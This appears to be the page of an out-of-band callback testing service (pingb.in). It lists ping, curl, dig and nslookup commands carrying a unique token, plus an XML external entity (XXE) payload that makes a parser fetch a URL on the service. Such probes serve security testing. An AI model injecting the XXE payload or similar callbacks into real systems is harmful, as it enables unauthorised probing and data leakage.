$ ping -c1 -p 00fac36591474f3db8d5687056cc4900 pingb.in
 
$ curl pingb.in/p/fac36591474f3db8d5687056cc49
 
$ dig fac36591474f3db8d5687056cc49 @pingb.in
 
$ dig fac36591474f3db8d5687056cc49.ns.pingb.in
 
C:\> nslookup fac36591474f3db8d5687056cc49 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/fac36591474f3db8d5687056cc49">]>
    <foo>&xxe;</foo>
 
Waiting for ping...